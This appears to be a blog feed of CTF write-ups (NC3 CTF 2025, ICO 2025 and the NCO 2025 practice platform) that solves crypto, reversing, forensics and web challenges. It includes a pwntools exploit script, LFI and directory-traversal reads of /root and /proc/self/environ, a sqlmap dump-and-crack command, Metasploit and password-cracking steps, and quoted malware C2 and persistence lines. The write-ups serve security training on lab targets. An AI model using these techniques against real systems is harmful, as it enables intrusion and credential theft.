De har dog ikke længere aktive C2-servere, og vi kender ikke det nuværende!

Kan du ud fra DGAen og disse domæner generere de efterfølgende domæner fra listen og igen finde og tilgå det nu aktive?

Så kan vi overtage et domæne, der står tidligere på listen og sinkhole bottrafikken.

Løsning: Hvorfor sidde og implementere DGA algoritmen selv, og rev Go binary? Når man bare kan google sig til flaget? :)

Ved at søge på site:online "nc3" fandt jeg hurtigt en side, der havde flaget. https://www.google.com/search?q=site%253Aonline+%22nc3%22

Flag side

Skud ud til Google for at indeksere siden! 😭

Flag: NC3{st34l1ng_y0ur_n3ct4r}

Ønskomafia

Bob vil gerne spille Mario Kart med Alice, men han må ikke få det for sin mor, så det kræver, at Alice ønsker sig spillet i julegave. Dog har Alice andre ønsker. Heldigvis er Bob en rigtig hackerman med speciale i crypto og hjælper gerne Alice på bedre tanker.

https://tryhackme.com/jr/oenskomafia

Vedhæftet fil: crypto_oenskomafia.zip

Løsning: Efter at have analyseret den givne kode fandt jeg ud af, at den bruger en simpel XOR kryptering med en gentagen nøgle. Ved at skrive et script til at dekryptere den givne ciphertext med den kendte nøgle, kunne jeg få fat i flaget.

Løsning: Vi benytter os igen af denne magiske nisse magi, aka CryptoGPT :)

#!/usr/bin/env python3
import json, os
from pathlib import Path
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from thrift.protocol.TCompactProtocol import TCompactProtocol
from thrift.transport.TTransport import TMemoryBuffer
from thrift.Thrift import TType
from pwn import remote

def thrift_encode_int(n: int) -> bytes:
    buf = TMemoryBuffer()
    proto = TCompactProtocol(buf)
    proto.writeStructBegin("N")
    proto.writeFieldBegin("v", TType.I32, 1)
    proto.writeI32(n)
    proto.writeFieldEnd()
    proto.writeFieldStop()
    proto.writeStructEnd()
    return buf.getvalue()

def derive_aes_key(shared_secret: bytes, salt: bytes) -> bytes:
    hkdf = HKDF(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        info=None,           # svarer til serverens brug
    )
    return hkdf.derive(shared_secret)

def aesgcm_encrypt(key: bytes, plaintext: bytes, aad: bytes) -> bytes:
    aesgcm = AESGCM(key)

    # same nonce-style som clienten
    counter_file = Path("nonce_local_to_julemanden.txt")
    try:
        counter = int(counter_file.read_text())
    except Exception:
        counter = 1
    counter_file.write_text(str(counter + 1))

    encoded_counter = thrift_encode_int(counter)
    counter_bytes = encoded_counter.ljust(8, b"\x00")[:8]
    random_tail = os.urandom(4)
    nonce = counter_bytes + random_tail

    ct_and_tag = aesgcm.encrypt(nonce, plaintext, aad)
    return nonce + ct_and_tag

def build_alice_message(wish: str) -> bytes:
    group_key = serialization.load_pem_private_key(
        Path("keys/group_key.pem").read_bytes(),
        password=None
    )
    alice_public_key = serialization.load_pem_public_key(
        Path("keys/alice_public_key.pem").read_bytes()
    )

    alice_shared = group_key.exchange(alice_public_key)

    GroupID = 4
    AliceID = 2

    aad_struct = {"to_": GroupID, "from_": AliceID}
    aad = json.dumps(aad_struct, separators=(',', ':')).encode()
    aad_len_bytes = len(aad).to_bytes(2, "big")

    salt = os.urandom(16)
    key = derive_aes_key(alice_shared, salt)

    encrypted = aesgcm_encrypt(key, wish.encode(), aad)
    return aad_len_bytes + aad + salt + encrypted

def pwn(host="127.0.0.1", port=1337):
    msg = build_alice_message("Mario Kart")
    with remote(host, port) as io:
        print(io.recvline().decode().strip())  # velkomst
        io.sendlineafter(b"> ", msg.hex().encode())
        while True:
            try:
                line = io.recvline(timeout=1)
            except EOFError:
                break
            if not line:
                break
            print(line.decode().strip())

if __name__ == "__main__":
    pwn("10.81.138.155") # IP fra TryHackMe

Kør scriptet:

python3 exploit.py
[+] Opening connection to 10.81.138.155 on port 1337: Done
🎅 Velkommen til Julemandens ønskeservice!
NC3{Cust0m_pr0t0c0ls_4r3_gr34t!}
[*] Closed connection to 10.81.138.155 port 1337

Flag: NC3{Cust0m_pr0t0c0ls_4r3_gr34t!}

Julekortet

Jeg har fået sådan et smart e-julekort af mit barnebarn, men jeg tror han nisser rundt med mig, fordi jeg ikke er så teknisk. Jeg kan altså ikke finde ud af, hvad der står i, og hvor det bliver skrevet, kan du ikke hjælpe en gammel nisse lidt?

Vedhæftet fil: rev_julekortet.zip

Løsning: Efter at have åbnet binaryen i Ghidra fandt jeg hurtigt ud af, at den dekrypterer en kodet streng med XOR. Ved at skrive et simpelt script til at dekryptere strengen fandt jeg flaget. De crypterede data lå hardcoded i .rdata sektionen. Bytesne kan findes fra: 0x46DE54 til 0x46DE7F. Vi finder også nøglen 0x80.

enc = [
    0xce, 0xc3, 0xb3, 0xfb, 0xca, 0xf5, 0xec, 0xe5,
    0xeb, 0xef, 0xf2, 0xf4, 0xdf, 0xe9, 0xdf, 0xee,
    0xe1, 0xe2, 0xef, 0xe5, 0xee, 0xf3, 0xdf, 0xf0,
    0xef, 0xf3, 0xf4, 0xeb, 0xe1, 0xf3, 0xf3, 0xe5,
    0xfd
]

decoded = ''.join(chr(b ^ 0x80) for b in enc)
print(decoded)

Flag: NC3{Julekort_i_naboens_postkasse}

Ace0fbase

Vigtignissen er på spil igen, han har en teori om at kryptering er unødvendigt, så længe man encoder godt nok - og så behøver man ikke engang besværet med nøgler: win-win.

Vedhæftet fil: warmup_ace0fbase.zip

Løsning: Vi får udleveret en kæmpe base64 encoded string i filen ace0fbase.txt. Efter at have decoded strengen 22 gange med base64, 1 gang med b32, 1 gang med b16, 1 gang med b85 og til sidst a85, får vi 硎𠄳腡扬𓁵洭橀戳扒核敬籮氭戰杕𠌡. Dette ligner jo bare nogle underlige tejn. Men hvis man kender til Base65536 kan man hurtigt se at den sidste del af opgaven er at decode med Base65536.

Dette kan gøres med Python pakken base65536:

import base65536 #pip install base65536
payload = "硎𠄳腡扬𓁵洭橀戳扒核敬籮氭戰杕𠌡"
print(base65536.decode(payload))
b'NC3{aLhl-ur-8@53-R-83l0nG-70-U2!}'

Flag: NC3{aLhl-ur-8@53-R-83l0nG-70-U2!}

Minos 5: Panel

Analysen af Jon BitNisses PC har ledt os på sporet af Sarpedons botpanel, hvor alle deres bots leverer stjålne data og kan modtage nye tasks mm. Med forskellige keywords fra sagen, er det lykkedes os at bruteforce passwordet til panelet: EenyMeenyMinosMoe

Log ind på http://<IP>:31742 (den kan godt være lidt sløv i opstarten) og undersøg, om du kan finde måder at læse mere end tiltænkt. Flaget ligger i /root.

OBS: Hele anden del af Minos-serien kan løses fuldstændig uafhængigt af den første.

OBS: Som i det virkelige liv kan du sagtens komme til at ødelægge ting, hvis du ikke er forsigtig. Hvis du ikke kan rette op igen, kan maskinen (modsat i virkeligheden) bare termineres og startes igen på TryHackMe.

https://tryhackme.com/jr/minos

Løsning: Efter at have logget ind på Minos botpanelet med de givne credentials, fandt jeg hurtigt en sårbarhed i panelets konfigurations side, der tillod mig at læse filer på serveren via en LFI (Local File Inclusion) sårbarhed. Ved at udnytte denne sårbarhed kunne jeg læse /root/flag.txt

...
exportdir: /root
...

Flag side

Ved at downloade flag.txt filen fik jeg fat i flaget.

Flag: NC3{m4yb3_th3_p4n3l_1s_4_l1ttl3_t00_c0nfigurable}

Minos 7: Takedown

Tid til at få K-Pop Gremlin Hunters på banen, it’s takedown time.

Gad vide om backenden gemmer på en selvdestruktionsmetode til nødsituationer, vi kan udnytte, der ikke er eksponeret i panelet. Hmm… håber ikke dine reversing skills er for rustne.

https://tryhackme.com/jr/minos

Løsning: Ved at udnytte vores LFI fra Minos 5: Panel opgaven, kunne vi læse den binære fil /usr/local/minos/bin/minos fra serveren. Efter at have loadet filen ind i Binary Ninja, søgte jeg rundt efter api kald, og fandt efter lidt tid et endpoint: api/v2/private/secret/op-endgame/takedown. Men lige meget hvad jeg POSTede til dette endpoint fik jeg bare en fejl. Så jeg søgte videre i koden, og fandt dette meget interessante stykke kode:

004c2208      "ent src/api/handlers.rs:937event src/api/handlers.rs:932confirmInvalid confirmationFailed to delete bots: Failed to delete tasks: 4f41307f7532693b65557f38663d6b20667c4c207b72486b2a686d2f6f416b1"

Binary Ninja

Hvorfor mon hardcode en hex streng her, når det står sammen med et task id? Lige nedenunder fandt jeg en masse html kode der brugte denne hex streng, til at vise en success besked når du har bekræftet takedown, med beskeden: Panel Destroyed.

I html koden fandt jeg også en javascript funktion der dekodede denne hex streng til ascii:

xor kode

Koden så sådan her ud:

function decodeFlag(encodedHex, key) {
        const bytes = [];
        for (let i = 0; i < encodedHex.length; i += 2) {
                bytes.push(
                        parseInt(encodedHex.substr(i, 2), 16) ^
                        (((i / 2) + 1) % 256)
                );
        }
        return bytes.map(b => String.fromCharCode(b)).join('');
}

Hent hele html filen her: minos_takedown.html

Ved at replikere denne funktion i Python, kunne jeg nemt dekode hex strengen:

hex_str = "4f41307f7532693b65557f38663d6b20667c4c207b72486b2a686d2f6f416b144a47135216545a"
 
out = []
for i in range(0, len(hex_str), 2):
    b = int(hex_str[i:i+2], 16)
    key = ((i // 2) + 1) % 256
    out.append(b ^ key)
 
print(bytes(out).decode(errors="replace"))

Kør scriptet:

python3 solve.py
NC3{p4n3l_t4k3d0wn_4nd_s3rv3r_t4ke0v3r}

Flag: NC3{p4n3l_t4k3d0wn_4nd_s3rv3r_t4ke0v3r}

Minos 6: Server

Er der mon måder at komme videre ind på den bagvedliggende server og ligefrem køre commands og overtage den?

Hvis du når ind, kan du jo lige tjekke miljøet ud og se, om der er god julestemning.

https://tryhackme.com/jr/minos

Løsning: Ved at kigge nærmere på den måde Minos botpanelet håndterer fil downloads, fandt jeg en directory traversal sårbarhed i download api endpointet. Ved at udnytte denne sårbarhed kunne jeg læse følsomme filer på serveren, herunder /proc/self/environ. Denne fil indeholder miljøvariablerne for den kørende proces, jeg fandt variablen MINOS_FLAG, som var flaget til denne opgave.

network traffic

echo UEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4ASE9TVE5BTUU9NTVjNzYzZTRmZTY5AFJVU1RfTE9HPWluZm8ATUlOT1NfRkxBRz1OQzN7aDB3X2QxZF95MHVfcnVuX2MwbW00bmRzXzBuX215X3MzcnYzcj8/P30ASE9NRT0vcm9vdAA= | base64 -d
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=55c763e4fe69RUST_LOG=infoMINOS_FLAG=NC3{h0w_d1d_y0u_run_c0mm4nds_0n_my_s3rv3r???}HOME=/root

Flag: NC3{h0w_d1d_y0u_run_c0mm4nds_0n_my_s3rv3r???}

Minos 4: Infostealer

Du er nået til sidste led i angrebskæden: Infostealeren. Den er blevet loadet og eksekveret på Joes computer, og det er sandsynlig, han har fået stjålet information.

Find ud af, hvordan malwaren virker og kommunikerer med C2-serveren og tjek, hvad Joe har fået stjålet!

OBS: Bruger samme filer som Minos 1: Initial Access.

Løsning: Efter at have analyseret disk imaget, finder jeg Joe’s Firefox profil mappe, som indeholder 3 profiler. Her kan vi bruge samme metode som i Nissrensics: Ræv og Nøgler til at dekryptere de gemte passwords i Firefox.

Firefox profiles

Men efter at have brugt programmet firefox_decrypt til at dekryptere de gemte passwords, fandt jeg ikke noget da flere af profilerne ikke havde passwords gemt. Men efter at have kigget nærmere i profilmappen 6qu8fy1k.default-release-1 fandt jeg filen logins-backup.json som indeholdte gemte logins. Ved at rename filen til logins.json kunne jeg nu bruge firefox_decrypt til at dekryptere de gemte passwords.

python3 firefox_decrypt.py
2025-12-06 01:35:55,000 - WARNING - Running with unsupported encoding 'locale': cp1252 - Things are likely to fail from here onwards
Select the Mozilla profile you wish to decrypt
1 -> Profiles/6qu8fy1k.default-release-1
2 -> Profiles/4xdes0gv.default
3 -> Profiles/338c0rlu.default-release
1

Website:   moz-extension://77737e58-b162-4ed6-8f12-788b5fe3230d
Username: ''
Password: 'NC3{puha_g0dt_du_kun_m1st3d3_crypt0_0g_1kk3_R1GT1G3_p3ng3}'

Flag: NC3{puha_g0dt_du_kun_m1st3d3_crypt0_0g_1kk3_R1GT1G3_p3ng3}

Humlebiens Flugt 🐝🐝🐝 (3)

Flot arbejde med at genskabe resten af domænelisten, vi har overtaget disse domæner nu!

Vi har dog stadig et problem: De domæner, vi har set brugt af Humlebi, er dem, de allerede har kontrollen med, og vi kender kun de domæner, der kommer efter det tidligste af disse. Hvis de genaktiverer en C2-server på det tidligste i listen, får de igen al bottrafikken.

Fra analysen i foregående opgave ved vi, hvilket af de tre domæner, der står først i DGAens liste. Vi har dog tidligere set, at aktøren af ukendte årsager altid skipper det første domæne, DGAen genererer. Hvis vi overtager og sinkholer dette, vil al bottrafikken permanent nå os i stedet for Humlebi, og vi kan redde ofrene!

Kan du uden et kendt seed finde en måde at backtracke fra det tidligste af de kendte domæner og finde det domæne, DGAen genererer lige før dette?

OBS: Denne backtracking vil lede til flere mulige kandidater, det vil være tydeligt, hvilken der er korrekt.

Flaget findes som i de foregående opgaver ved at tilgå hjemmesiden på det aktive domæne.

Løsning: Igen, hvorfor implementere DGA algoritmen selv, og rev Go binary? Når man bare kan google sig til flaget? :)

Flag side

Flag: NC3{s1nkh0l3_4c71v4t3d}

Opgaver holdet ikke nåede at løse

Challenge Kategori
Porten til Julevibes Reversing
Nissrensics: Forkromet Mellemgasfordeler Forensics
Nissrensics: Lykke(h)julet Forensics
Minos 2: Stager Malware
Minos 3: Loader Malware

Og ja. Minos opgaverne blev løst i den rækkefølge der vises her. 😄

Skud ud til NC3-holdet for nogle super fede challenges! Tak for en super fed NC3 CTF 2025! God jul og godt nytår til alle nisser derude! 🎅🎄

]]>International Cybersecurity Olympiad (ICO) 2025 : Writeupshttps://ha1fdan.xyz/en/posts/ico2025-contest/Tue, 24 Jun 2025 20:27:20 +0800https://ha1fdan.xyz/en/posts/ico2025-contest/<h1 id="about-ico">About ICO</h1> <p>The International Cybersecurity Olympiad (ICO) is a premier global student cybersecurity competition, inspired by flagship academic Olympiads like the IOI and IMO. Hosted by the NUS School of Computing in Singapore, it took place from June 22 - 28, 2025 across venues at University Town (U-Town) and COM3. Designed to address the critical shortage of cybersecurity talent worldwide, ICO brings together the brightest students from 28 countries, each fielding a team of four students and two team leaders, chosen through rigorous national qualifiers . Supported by organizations like the Cyber Security Agency of Singapore, it is led by academics and industry experts, including <a href="https://www.comp.nus.edu.sg/cs/people/tanst/">Assoc. Prof. Tan Sun Teck</a>, President of the IOI.</p>About ICO

The International Cybersecurity Olympiad (ICO) is a premier global student cybersecurity competition, inspired by flagship academic Olympiads like the IOI and IMO. Hosted by the NUS School of Computing in Singapore, it took place from June 22 - 28, 2025 across venues at University Town (U-Town) and COM3. Designed to address the critical shortage of cybersecurity talent worldwide, ICO brings together the brightest students from 28 countries, each fielding a team of four students and two team leaders, chosen through rigorous national qualifiers . Supported by organizations like the Cyber Security Agency of Singapore, it is led by academics and industry experts, including Assoc. Prof. Tan Sun Teck, President of the IOI.

Attack Style CTF Challenges

Wearing red T-shirts, teams compete for 5 hours to exploit intentionally vulnerable systems and capture flags provided by organizers. This format mirrors real-world offensive security work, emphasizing reverse engineering, web hacking, cryptography, and binary exploitation.

Funny Little Trial 🩶

N00bcak is here and he’s got a simple simple challenge for you! He pinky promises it is super super easy… if you know your RSA. Claim your free flag now!

Flag Format: ICO{xxxx}

Files:

Solution: Since s = p + q leaks the sum of the primes, it allowing for factorization.

from math import isqrt
from Crypto.Util.number import long_to_bytes

n = 730154905440589431898246229243980845471962789952919433912853685206466426533211391338854234214670164848724904589667216748940956830249727285676831414756490690998640546194701086342689745376601356538807686682591780203839430164032096793937680049242883943789740971024955494271811632392373061231517220729719301852972009996322353553223041996363062510793058159512065644653511056406980921126479692128719187843421670656032911202324169115991642446433570774018771779976698615952300873291633910429516420840343236890796694650758307955494625973637455056424008936821341285474068486291080379829605691116049409305720602644588781236517693103071428143555023423340553061848393811834822583084787767556242891835778899026395131919774769929908973580236813201423484418250639612979142717225646471923557902924947393932704451399986520439383222229449588604526233647729930287887832827094294007538293732323035360973881161056800433332655081539807347447394509629279325188711053553878224862658476846195578993440015897035671045877868818838832335917754474581155154779222178423842886030848765103547362401888774000743691540965176858139642895089461110570540423838101816198450394788967837473253642863644044829175861969444416877806962228341043955087466578594819527093346794769
e = 65537
c = 562832356069984106081137774460024417318691786711343850990263251777725495615368309839287879574579887963670997307615076216081038938724418605618077657900533446350490217763099095692070768537153710737669792919337950438628103773814809202814857366823389382849798875874703319910968644165758710199659598482182580560531427744306775515464578806892442707961517142301311443959318437335481597707440442963249235349148401864999450636386694616606321876555886550899834184829891114791797475508848985078894709888296306526168119661944874061976201961879264431442398717096510330771390870446558386486639114110984463105257982992473030697208456435010325240212191298771679578814130902264536954829855870623434714523595038310872353887411157395848362902586410240735790380905087353742755656722339524908032105103775986990007664980058936696379208444690440715730862640087467082716462163431720053541879681770780723256504718955541193959141214988786132292866650857593277833420037923271501563957546704765441958023218245172090983409186260002493788676733674223654884369806617046318513874719478805183309113606738154079837473695430422749868191938873619776918532094847644213959278138295750838263869314678033647024545294768359830666207254896847711652235889603241680551507038983
s = 54053789438762003717026435046758858644184844805086474460780374787993886158141419711606926173606297265967170008267426962552256754749922608947217920152403773919359805310018238474672131330265028491424716930927529647384277891611350497044205674037278986181586614217948510894910310441917319632029804630278892017010589446563461410905655255080369408402703350473796301203329249569749870211461687922755993267051166327474613204007121030586128877101173804871457561708749470102820696524246908465978873764509400913447555788290042530588416722658255095004712441074998378958860145015922918577707379079778746632670811334684876619995230

D = s*s - 4*n
sqrt_D = isqrt(D)
p = (s + sqrt_D) // 2
q = (s - sqrt_D) // 2
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag = pow(c, d, n)
print(long_to_bytes(flag))

Flag: ICO{f3rMaT5_l1L_ThM_i5_Tr1Vi4L_r1t3???}

Defence Style CTF Challenges

In the Defence-style CTF, teams take on the role of defenders, tasked with detecting intrusions, and reversing malware to find secrets hidden in the depths. This format emphasizes teamwork, incident response, and strategic thinking.

Mona’s Secret

Mona Lisa’s smile is said to hold secrets. But in this case, her image literally does.

Files:

Solution: Using stegseek we can uncover a hidden text in the image.

Flag: ICO2025{happy_SG60}

The Monkey Gallery is a passion project created by an eccentric zoologist… but rumors say it’s more than just a harmless tribute to primates.

Sources suggest that the gallery’s backend was slapped together in a hurry, and not all monkeys were meant to be seen. Some are part of a hidden experiment, and their records are locked deep within a private database table.

Try accessing different monkeys using the URL path: http://200.200.200.40:3000/monkey/{id}

Solution: Using sqlmap we can dump the entire database, since there is a sql-injection vuln at the /monkey/<id>.

sqlmap -u "http://localhost:3000/monkey/*" --risk 3 --level 5 --dbms=MySQL --dump-all

[10:41:10] [INFO] table 'monkey_db.monkey' dumped to CSV file '/home/halfdan/.local/share/sqlmap/output/localhost/dump/monkey_db/monkey.csv'
[10:41:10] [INFO] fetching columns for table 'monkey_users_999' in database 'monkey_db'
[10:41:10] [INFO] fetching entries for table 'monkey_users_999' in database 'monkey_db'
[10:41:10] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:41:28] [INFO] writing hashes to a temporary file '/tmp/sqlmapji4qm3g056287/sqlmaphashes-v6hk0sxk.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[10:41:31] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/opt/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[10:41:33] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[10:41:37] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:41:37] [INFO] starting 12 processes 
[10:41:38] [INFO] cracked password 'ananab' for user 'FlagHunter'

Flag: ICO2025{ananab}

Corrupted Access

A corrupted RSA private key was found on an old admin backup disk. It belongs to the “target” user on a remote server. Unfortunately, the key appears incomplete — the -----END RSA PRIVATE KEY----- line is missing, and some of the content is clearly truncated.

But not all hope is lost. You might be able to reconstruct the original key using mathematical components hidden within the corruption. Once fixed, you can use it to SSH into the manager’s account.

Files:

Solution: ChatGPT ❌ —> CryptoGPT ✅

import base64
from Crypto.PublicKey import RSA
from math import isqrt

def read_int(d, i):
    if d[i] != 0x02:
        raise ValueError("Expected INTEGER")
    i += 1
    l = d[i]
    i += 1
    if l & 0x80:
        n_bytes = l & 0x7F
        l = int.from_bytes(d[i:i+n_bytes], 'big')
        i += n_bytes
    val = int.from_bytes(d[i:i+l], 'big')
    return val, i + l

# Load and decode the corrupted key
with open('corrupted_key') as f:
    b64 = ''.join(line for line in f if not line.startswith('-')).strip()
    der = base64.b64decode(b64)

# Parse ASN.1 to extract n, e, d
i = 0
if der[i] == 0x30:
    i += 1
    if der[i] & 0x80:
        i += (der[i] & 0x7F) + 1
    else:
        i += 1

_, i = read_int(der, i)  # version
n, i = read_int(der, i)
e, i = read_int(der, i)
d_val, _ = read_int(der, i)

# Recover p and q using known RSA relationship
k = d_val * e - 1
p = q = None

for i in range(1, 1 << 20):
    if k % i: continue
    phi = k // i
    a = n - phi + 1
    b2 = a * a - 4 * n
    if b2 >= 0:
        b = isqrt(b2)
        if b * b == b2:
            p = (a + b) // 2
            q = (a - b) // 2
            if p * q == n:
                break

if not p or not q:
    raise ValueError("Failed to recover p and q")

if p > q:
    p, q = q, p

# Reconstruct and export the RSA key
key = RSA.construct((n, e, d_val, p, q))
with open("recovered_key.pem", "wb") as f:
    f.write(key.export_key())

Flag: ICO2025{y0u_h4v3_f0und_Th3_pr1v4t3_k3y}

Credential Breakout

Try to find the credential to unlock the flag.

Files:

Solution: strings CredentialBreakoutChallenge.exe | grep -oP 'IC[^}]*\}' = flag :D

Flag: IC02025{94vYeC2sQc}

[Phase 1 - VA] Scanning - 1

A common step in a vulnerability assessment is to scan for open ports and find running services on those ports. Can you conduct a port scan and find what ports are open on the compromised machine (200.200.200.20)?

Solution: We can use nmap to find what ports are open. nmap -sV -F 200.200.200.20

Flag: ICO2025{80_http}

[Phase 1 - VA] Scanning - 2

Vulnerabilities can sometimes be operating system specific. As such, it is good practice to narrow down as much information as we can when conducting a vulnerability assessment. Are you able to find out what operating system is compromised machine using?

Solution: We can use nmap to determine what OS the target is using. With: nmap -A 200.200.200.20

Flag: ICO2025{Microsoft Windows XP 2019}

[Phase 1 - VA] Searching Open Services

Services running on internal networks typically hold a significant importance and may contain sensitive information. Explore the services you found and see if you can find out the purpose of the service running on port 80.

Solution: We can curl the ip on port 80 to find the purpose of the service in the title tag. curl -v http://200.200.200.20/dashboard/ with gives IT Team's To-Do List

Flag: ICO2025{IT Team's To-Do List}

[Phase 1 - VA] Vulnerable Service

Are you able to find the CVE number of the vulnerability present in the compromised machine?

Solution: If we curl the previous url we find a CVE that needs patching on the To-Do List, curl http://200.200.200.20/dashboard/, where we find <td>Update webserver to be protected from CVE-2024-4577</td>

Flag: ICO2025{CVE_2024_4577}

[Phase 1 - VA] Metasploit

Exploit the vulnerability!

Solution: Using the metasploit console we can search for the cve with: search cve:CVE-2024-4577.

Flag: ICO2025{php_cgi_arg_injection_rce_cve_2024_4577}

[Phase 2 - Forensics] Analysing Pcap

Analyse the packet capture file given in C:\Users\Marcus-WebAdmin\Documents\Network Captures.

We are trying to look out for suspicious activities from the attacker but first, we need to identify the attacker’s IP address. Are there any suspicious IP addresses in the unit’s network found in the capture?

Solution: I use my eyes to look in the pcap file :D

File found:

Flag: ICO2025{192.168.12.135}

[Phase 2 - Forensics] Attacker Malware

It seems like the attacker might have uploaded some of his own files on the compromised machine. Are you able to identify the frame number where the request is initiated?

Solution: We can see a FTP request with the INFO: Request: RETR persist.py has the frame number: 4395

Flag: ICO2025{4395}

[Phase 2 - Forensics] Export Objects

Try to export out important objects/files found in the pcap file!

Solution: Sus file is ofc persist.py.

Flag: ICO2025{persist.py}

[Phase 2 - Forensics] Attacker’s Malware Part 2

It seems like the attacker might have uploaded some of his own files on the compromised machine. Are you able to find it and generate out its md5 digest?

Solution: We can use wireshark to extract the python file and run:

md5sum persist.py 
3b3ea2f2378fbcc04f3a6b95049e8b81  persist.py

Flag: ICO2025{3b3ea2f2378fbcc04f3a6b95049e8b81}

[Phase 3 - AP] Malware Analysis

The malware have attempted to make network connection(s), what IP address and port is it trying to connect to?

Solution: If we look in persist.py we can see:

HOST = '192.168.12.135'
PORT = 4242

Flag: ICO2025{192.168.12.135:4242}

[Phase 3 - AP] Malware Analysis Part 2

What is the name of the key that was created by the malware?

Solution: If we once again look in persist.py we can see:

reg.SetValueEx(key, "malware", 0, reg.REG_SZ, script_path)

Flag: ICO2025{malware}

Conclusion

Day 1 was really tough, the attack-style CTF pushed me to my limits with some hard challenges. Day 2’s defence-style CTF, although easier overall, had its own hurdles—many things went wrong, and long wait times due to sluggish IT infrastructure made it a bit chaotic. Despite the tech hiccups, I managed to secure a silver medal at the end. Thanks to the organizers for a strong first ICO, looking forward to smoother competitions next time!

]]>National Cybersecurity Olympiad (NCO) 2025 - Practice Platform : Writeupshttps://ha1fdan.xyz/en/posts/nco2025_practice/Tue, 20 May 2025 17:15:27 +0200https://ha1fdan.xyz/en/posts/nco2025_practice/<p>A month before the International Cybersecurity Olympiad (ICO) 2025, we got access to the National Cybersecurity Olympiad (NCO) 2025 as a practice platform. The NCO is a national-level competition in cybersecurity, and the practice platform provides a range of challenges to help participants prepare for the ICO.</p> <h2 id="challenges-in-no-particular-order">Challenges (In no particular order)</h2> <table> <thead> <tr> <th>Challenge</th> <th>Category</th> </tr> </thead> <tbody> <tr> <td><a href="#challenge-3">Challenge 3</a></td> <td>Steganography</td> </tr> <tr> <td><a href="#reverse-engineering">Reverse Engineering</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#mystery_1">Mystery_1</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#mystery_2">Mystery_2</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#mystery_3">Mystery_3</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#analyse-packet-ii">Analyse Packet II</a></td> <td>Networking</td> </tr> <tr> <td><a href="#pentest-challenge">Pentest Challenge</a></td> <td>Pentest</td> </tr> </tbody> </table> <hr> <h3 id="challenge-3">Challenge 3</h3> <p>We were given 2 png files. Both of the images looked to be the same, but some pixels were different. The task was to find the difference between the two images.</p>A month before the International Cybersecurity Olympiad (ICO) 2025, we got access to the National Cybersecurity Olympiad (NCO) 2025 as a practice platform. The NCO is a national-level competition in cybersecurity, and the practice platform provides a range of challenges to help participants prepare for the ICO.

Challenges (In no particular order)

Challenge Category
Challenge 3 Steganography
Reverse Engineering Reverse Engineering
Mystery_1 Forensics
Mystery_2 Forensics
Mystery_3 Forensics
Analyse Packet II Networking
Pentest Challenge Pentest

Challenge 3

We were given 2 png files. Both of the images looked to be the same, but some pixels were different. The task was to find the difference between the two images.

Files:

We used the compare command from the ImageMagick suite to find the differences between the two images. The command is as follows:

compare -metric AE Steganography1.png Steganography2.png difference.png

Result:

difference.png

Flag: NCO2025{H@ck_F@st3r}

Reverse Engineering

We were given a binary file and the task was to reverse engineer it to find the flag.

File:

We use https://dogbolt.org/ to disassemble the binary file. The disassembly shows that the binary is checking for a password. The password is hardcoded in the binary, and we can find it by looking at the disassembly.

In the disassembly, we find the “check_password” function:

int64_t check_password(char* arg1)
{
    void* fsbase;
    int64_t rax = *(fsbase + 0x28);
    int32_t var_7c = 0;
    int32_t var_70 = 0x17;
    int64_t var_48;
    __builtin_strncpy(&var_48, "                                ", 0x21);
    int64_t var_69;
    __builtin_strcpy(&var_69, "tHardiCKET");
    int64_t var_5e;
    __builtin_strcpy(&var_5e, "HErAbIogYm");
    int64_t var_53;
    __builtin_strcpy(&var_53, "oRtumbaRVa");
    strcat(&var_53, &var_69);
    strcat(&var_53, &var_5e);
    
    if (strlen(arg1) != strlen(&var_53))
        puts("Invalid password! Access denied.");
    else
    {
        int32_t var_78_1 = 0;
        
        while (var_78_1 < strlen(arg1))
        {
            if (arg1[var_78_1] != *(&var_53 + var_78_1))
            {
                var_7c = 0;
                break;
            }
            
            var_7c = 1;
            var_78_1 += 1;
        }
        
        if (!var_7c)
            puts("Invalid password! Access denied.");
        else
        {
            puts("Password accepted! Access grante…");
            int32_t var_74_1 = 0;
            
            while (var_74_1 < strlen(&var_48) - 1)
            {
                *(&var_48 + var_74_1) = (*(&var_53 + var_74_1) - 0x4a) % 0x1a + 0x61;
                var_74_1 += 1;
            }
            
            printf("The reverse engineer flag is'%s'…", &var_48);
        }
    }
    
    if (rax == *(fsbase + 0x28))
        return rax - *(fsbase + 0x28);
    
    __stack_chk_fail();
    /* no return */
}

If we enter the password oRtumbaRVatHardiCKETHErAbIogYm into the binary, it will print the flag.

Flag: NCO2025{liqrjyximxqifnogvum}

Mystery_1

We were given a file named a.zip and the task was to find the password, which was the flag.

File:

We can use zip2john to extract the hash from the zip file:

zip2john a.zip > hashes.txt

Then we can use john to crack the hash using a wordlist:

john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Flag: NCO2025{pineapple}

Mystery_2

We were given a file named capture.pcap and using the sslkeylog file from the last challenge, we can decrypt the pcap file using Wireshark. Next, we can filter the decrypted traffic for HTTP requests and look for the flag, which is the name of a document that was transferred.

File:

Wireshark Decrypted Traffic Info

Flag: NCO2025{Merlion_Battle_Newsletter_April_1_2025.docx}

Mystery_3

With the document we got from the previous challenge, we at the end of the document find a base64 encoded string. We can decode it using the base64 command.

File:

echo TDBuOV9sMXYzXzRoM19NM3JsMTBu | base64 -d
L0n9_l1v3_4h3_M3rl10n

Flag: NCO2025{L0n9_l1v3_4h3_M3rl10n}

Analyse Packet II

